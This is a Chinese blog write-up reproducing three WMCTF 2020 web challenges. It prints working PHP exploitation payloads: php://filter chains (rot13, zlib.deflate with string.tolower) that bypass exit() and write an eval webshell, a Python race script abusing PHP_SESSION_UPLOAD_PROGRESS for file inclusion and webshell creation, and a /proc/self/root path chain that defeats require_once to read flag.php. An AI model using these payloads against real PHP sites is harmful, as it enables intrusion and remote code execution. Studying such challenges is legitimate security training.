WMCTF2020web部分复现

WMCTF checkin2.0

图片

题目要我们写入shell

https://www.anquanke.com/post/id/202510#h3-9

这篇文章有详细说明,绕过exit()这个exit可以用base64的方法绕过,但是他把base64过滤了

这里讲到一个新方法(这是个非预期)

图片

利用string.rot13去除死亡exit()

图片

然后再将phpshell写进去

php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php

为了更直观的理解,利用这个rot13转换 c 往后面移13就是p 同理

图片

这个就很直观了,而过滤器会进行二次url编码

因此需要两次url编码

php://filter/write=string.%2572ot13|<?cuc @riny($_TRG[_]);?>|/resource=penson.php
?content=penson.php&_=system(%27cat%20/fffffllllllllaaaaaggggggg_as89c79as8%27);

图片

https://www.anquanke.com/post/id/212809#h3-1

不知道怎么回事,还有一种方法记录一下

利用zlib.deflate 配合string.tolower将exit杀掉 再利用zlib.inflate解压

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=1.php

图片

WMCTF-make_php_great_again

https://www.freebuf.com/news/202819.html

import io
import sys
import requests
import threading
sessid = 'Qftm'
url='http://f831030e-7af1-47f1-8102-0d2197273512.node3.buuoj.cn/'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');fputs(fopen('shell.php','w'),'<?php @eval($_POST[penson])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{url}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

利用 session.upload_progress 进行文件包含

WMCTF-WEB make_great_php_again2.0

图片

非预期解已被修复

https://www.anquanke.com/post/id/213235

这位戴师傅分析的特别到位了

require_once()对已经包含过的文件存在于哈希表中,而哈希值是唯一的,因此也很难取破解出来

总的来说就是

require_once 包含的软链接层数较多使 once 的 hash 匹配会直接失效造成重复包含

这里面都开始整php内核源码了,我也看不懂,这篇文章分析的了

这里说下/proc/self/由于环境是docker起的,docker启动的目录是在/proc里的

然后反复爆破

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另说,这里是一定要用到为协议的,这样才能跳转到zend_stream_open伪协议的办法访问 文章分析的很明白,不说了


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年